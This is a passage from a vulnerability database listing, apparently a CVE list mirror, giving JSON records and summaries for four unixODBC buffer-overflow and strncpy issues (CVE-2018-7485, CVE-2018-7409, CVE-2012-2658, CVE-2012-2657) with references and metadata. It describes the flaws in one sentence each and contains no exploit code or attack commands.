"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "The SQLWriteFileDSN function in odbcinst/SQLWriteFileDSN.c in unixODBC 2.3.5 has strncpy arguments in the wrong order, which allows attackers to cause a denial of service or possibly have unspecified other impact."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "https://github.com/lurcher/unixODBC/commit/45ef78e037f578b15fc58938a3a3251655e71d6f#diff-d52750c7ba4e594410438569d8e2963aL24",
"refsource": "MISC",
"url": "https://github.com/lurcher/unixODBC/commit/45ef78e037f578b15fc58938a3a3251655e71d6f#diff-d52750c7ba4e594410438569d8e2963aL24"
},
{
"name": "103193",
"refsource": "BID",
"url": "http://www.securityfocus.com/bid/103193"
},
{
"name": "RHSA-2019:2336",
"refsource": "REDHAT",
"url": "https://access.redhat.com/errata/RHSA-2019:2336"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2018-7485",
"datePublished": "2018-02-26T14:00:00.000Z",
"dateReserved": "2018-02-26T00:00:00.000Z",
"dateUpdated": "2024-08-05T06:31:03.541Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2018-7409 (GCVE-0-2018-7409)
Vulnerability from cvelistv5 – Published: 2018-02-22 18:00 – Updated: 2024-08-05 06:24
VLAI
EPSS
VEX
Summary
In unixODBC before 2.3.5, there is a buffer overflow in the unicode_to_ansi_copy() function in DriverManager/__info.c.
Severity
No CVSS data available.
CWE
- n/a
Assigner
References
3 references
| URL | Tags |
|---|---|
| http://www.unixodbc.org/unixODBC-2.3.5.tar.gz | x_refsource_MISC |
| https://sourceforge.net/projects/unixodbc/files/u… | x_refsource_MISC |
| https://access.redhat.com/errata/RHSA-2019:2336 | vendor-advisoryx_refsource_REDHAT |
Date Public
2018-02-22 00:00
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-05T06:24:11.943Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "http://www.unixodbc.org/unixODBC-2.3.5.tar.gz"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://sourceforge.net/projects/unixodbc/files/unixODBC/2.3.5/ChangeLog/download"
},
{
"name": "RHSA-2019:2336",
"tags": [
"vendor-advisory",
"x_refsource_REDHAT",
"x_transferred"
],
"url": "https://access.redhat.com/errata/RHSA-2019:2336"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2018-02-22T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "In unixODBC before 2.3.5, there is a buffer overflow in the unicode_to_ansi_copy() function in DriverManager/__info.c."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2019-08-06T14:06:12.000Z",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"tags": [
"x_refsource_MISC"
],
"url": "http://www.unixodbc.org/unixODBC-2.3.5.tar.gz"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://sourceforge.net/projects/unixodbc/files/unixODBC/2.3.5/ChangeLog/download"
},
{
"name": "RHSA-2019:2336",
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2019:2336"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2018-7409",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "In unixODBC before 2.3.5, there is a buffer overflow in the unicode_to_ansi_copy() function in DriverManager/__info.c."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "http://www.unixodbc.org/unixODBC-2.3.5.tar.gz",
"refsource": "MISC",
"url": "http://www.unixodbc.org/unixODBC-2.3.5.tar.gz"
},
{
"name": "https://sourceforge.net/projects/unixodbc/files/unixODBC/2.3.5/ChangeLog/download",
"refsource": "MISC",
"url": "https://sourceforge.net/projects/unixodbc/files/unixODBC/2.3.5/ChangeLog/download"
},
{
"name": "RHSA-2019:2336",
"refsource": "REDHAT",
"url": "https://access.redhat.com/errata/RHSA-2019:2336"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2018-7409",
"datePublished": "2018-02-22T18:00:00.000Z",
"dateReserved": "2018-02-22T00:00:00.000Z",
"dateUpdated": "2024-08-05T06:24:11.943Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2012-2658 (GCVE-0-2012-2658)
Vulnerability from cvelistv5 – Published: 2012-08-31 00:00 – Updated: 2024-08-06 19:42 Disputed
VLAI
EPSS
VEX
Summary
Buffer overflow in the SQLDriverConnect function in unixODBC 2.3.1 allows local users to cause a denial of service (crash) via a long string in the DRIVER option. NOTE: this issue might not be a vulnerability, since the ability to set this option typically implies that the attacker already has legitimate access to cause a DoS or execute code, and therefore the issue would not cross privilege boundaries. There may be limited attack scenarios if isql command-line options are exposed to an attacker, although it seems likely that other, more serious issues would also be exposed, and this issue might not cross privilege boundaries in that context.
Severity
No CVSS data available.
CWE
- n/a
Assigner
References
8 references
| URL | Tags |
|---|---|
| http://www.osvdb.org/82460 | vdb-entry |
| https://exchange.xforce.ibmcloud.com/vulnerabilit… | vdb-entry |
| http://www.openwall.com/lists/oss-security/2012/06/06/3 | mailing-list |
| http://www.openwall.com/lists/oss-security/2012/05/30/7 | mailing-list |
| http://www.openwall.com/lists/oss-security/2012/05/31/2 | mailing-list |
| http://www.securityfocus.com/bid/53712 | vdb-entry |
| http://www.openwall.com/lists/oss-security/2012/0… | mailing-list |
| http://www.openwall.com/lists/oss-security/2012/05/29/7 | mailing-list |
Date Public
2012-05-29 00:00
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-06T19:42:31.612Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "82460",
"tags": [
"vdb-entry",
"x_transferred"
],
"url": "http://www.osvdb.org/82460"
},
{
"name": "unixodbc-sdc-bo(75940)",
"tags": [
"vdb-entry",
"x_transferred"
],
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/75940"
},
{
"name": "[oss-security] 20120605 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list",
"x_transferred"
],
"url": "http://www.openwall.com/lists/oss-security/2012/06/06/3"
},
{
"name": "[oss-security] 20120530 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list",
"x_transferred"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/30/7"
},
{
"name": "[oss-security] 20120531 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list",
"x_transferred"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/31/2"
},
{
"name": "53712",
"tags": [
"vdb-entry",
"x_transferred"
],
"url": "http://www.securityfocus.com/bid/53712"
},
{
"name": "[oss-security] 20120529 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list",
"x_transferred"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/29/10"
},
{
"name": "[oss-security] 20120529 CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list",
"x_transferred"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/29/7"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2012-05-29T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "Buffer overflow in the SQLDriverConnect function in unixODBC 2.3.1 allows local users to cause a denial of service (crash) via a long string in the DRIVER option. NOTE: this issue might not be a vulnerability, since the ability to set this option typically implies that the attacker already has legitimate access to cause a DoS or execute code, and therefore the issue would not cross privilege boundaries. There may be limited attack scenarios if isql command-line options are exposed to an attacker, although it seems likely that other, more serious issues would also be exposed, and this issue might not cross privilege boundaries in that context."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2023-02-12T00:00:00.000Z",
"orgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
"shortName": "redhat"
},
"references": [
{
"name": "82460",
"tags": [
"vdb-entry"
],
"url": "http://www.osvdb.org/82460"
},
{
"name": "unixodbc-sdc-bo(75940)",
"tags": [
"vdb-entry"
],
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/75940"
},
{
"name": "[oss-security] 20120605 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list"
],
"url": "http://www.openwall.com/lists/oss-security/2012/06/06/3"
},
{
"name": "[oss-security] 20120530 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/30/7"
},
{
"name": "[oss-security] 20120531 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/31/2"
},
{
"name": "53712",
"tags": [
"vdb-entry"
],
"url": "http://www.securityfocus.com/bid/53712"
},
{
"name": "[oss-security] 20120529 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/29/10"
},
{
"name": "[oss-security] 20120529 CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/29/7"
}
],
"tags": [
"disputed"
]
}
},
"cveMetadata": {
"assignerOrgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
"assignerShortName": "redhat",
"cveId": "CVE-2012-2658",
"datePublished": "2012-08-31T00:00:00.000Z",
"dateReserved": "2012-05-14T00:00:00.000Z",
"dateUpdated": "2024-08-06T19:42:31.612Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2012-2657 (GCVE-0-2012-2657)
Vulnerability from cvelistv5 – Published: 2012-08-31 00:00 – Updated: 2024-08-06 19:42 Disputed
VLAI
EPSS
VEX
Summary
Buffer overflow in the SQLDriverConnect function in unixODBC 2.0.10, 2.3.1, and earlier allows local users to cause a denial of service (crash) via a long string in the FILEDSN option. NOTE: this issue might not be a vulnerability, since the ability to set this option typically implies that the attacker already has legitimate access to cause a DoS or execute code, and therefore the issue would not cross privilege boundaries. There may be limited attack scenarios if isql command-line options are exposed to an attacker, although it seems likely that other, more serious issues would also be exposed, and this issue might not cross privilege boundaries in that context.
Severity
No CVSS data available.
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2024-06-26 19:00 UTC
CWE
- n/a
Assigner
References
8 references
| URL | Tags |
|---|---|
| http://www.osvdb.org/82460 | vdb-entry |
| https://exchange.xforce.ibmcloud.com/vulnerabilit… | vdb-entry |
| http://www.openwall.com/lists/oss-security/2012/06/06/3 | mailing-list |
| http://www.openwall.com/lists/oss-security/2012/05/30/7 | mailing-list |
| http://www.openwall.com/lists/oss-security/2012/05/31/2 | mailing-list |
| http://www.securityfocus.com/bid/53712 | vdb-entry |
| http://www.openwall.com/lists/oss-security/2012/0… | mailing-list |
| http://www.openwall.com/lists/oss-security/2012/05/29/7 | mailing-list |
Date Public
2012-05-29 00:00
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2012-2657",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2024-06-26T19:00:40.470154Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2024-06-26T19:00:49.184Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"providerMetadata": {
"dateUpdated": "2024-08-06T19:42:32.111Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "82460",
"tags": [
"vdb-entry",
"x_transferred"
],
"url": "http://www.osvdb.org/82460"
},
{
"name": "unixodbc-sdc-bo(75940)",
"tags": [
"vdb-entry",
"x_transferred"
],
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/75940"
},
{
"name": "[oss-security] 20120605 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list",
"x_transferred"
],
"url": "http://www.openwall.com/lists/oss-security/2012/06/06/3"
},
{
"name": "[oss-security] 20120530 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list",
"x_transferred"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/30/7"
},
{
"name": "[oss-security] 20120531 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list",
"x_transferred"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/31/2"
},
{
"name": "53712",
"tags": [
"vdb-entry",
"x_transferred"
],
"url": "http://www.securityfocus.com/bid/53712"
},
{
"name": "[oss-security] 20120529 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list",
"x_transferred"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/29/10"
},
{
"name": "[oss-security] 20120529 CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list",
"x_transferred"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/29/7"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2012-05-29T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "Buffer overflow in the SQLDriverConnect function in unixODBC 2.0.10, 2.3.1, and earlier allows local users to cause a denial of service (crash) via a long string in the FILEDSN option. NOTE: this issue might not be a vulnerability, since the ability to set this option typically implies that the attacker already has legitimate access to cause a DoS or execute code, and therefore the issue would not cross privilege boundaries. There may be limited attack scenarios if isql command-line options are exposed to an attacker, although it seems likely that other, more serious issues would also be exposed, and this issue might not cross privilege boundaries in that context."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2023-02-12T00:00:00.000Z",
"orgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
"shortName": "redhat"
},
"references": [
{
"name": "82460",
"tags": [
"vdb-entry"
],
"url": "http://www.osvdb.org/82460"
},
{
"name": "unixodbc-sdc-bo(75940)",
"tags": [
"vdb-entry"
],
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/75940"
},
{
"name": "[oss-security] 20120605 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list"
],
"url": "http://www.openwall.com/lists/oss-security/2012/06/06/3"
},
{
"name": "[oss-security] 20120530 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/30/7"
},
{
"name": "[oss-security] 20120531 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/31/2"
},
{
"name": "53712",
"tags": [
"vdb-entry"
],
"url": "http://www.securityfocus.com/bid/53712"
},
{
"name": "[oss-security] 20120529 Re: CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/29/10"
},
{
"name": "[oss-security] 20120529 CVE id request: Multiple buffer overflow in unixODBC",
"tags": [
"mailing-list"
],
"url": "http://www.openwall.com/lists/oss-security/2012/05/29/7"
}
],
"tags": [
"disputed"
]
}
},
"cveMetadata": {
"assignerOrgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
"assignerShortName": "redhat",
"cveId": "CVE-2012-2657",
"datePublished": "2012-08-31T00:00:00.000Z",
"dateReserved": "2012-05-14T00:00:00.000Z",
"dateUpdated": "2024-08-06T19:42:32.111Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}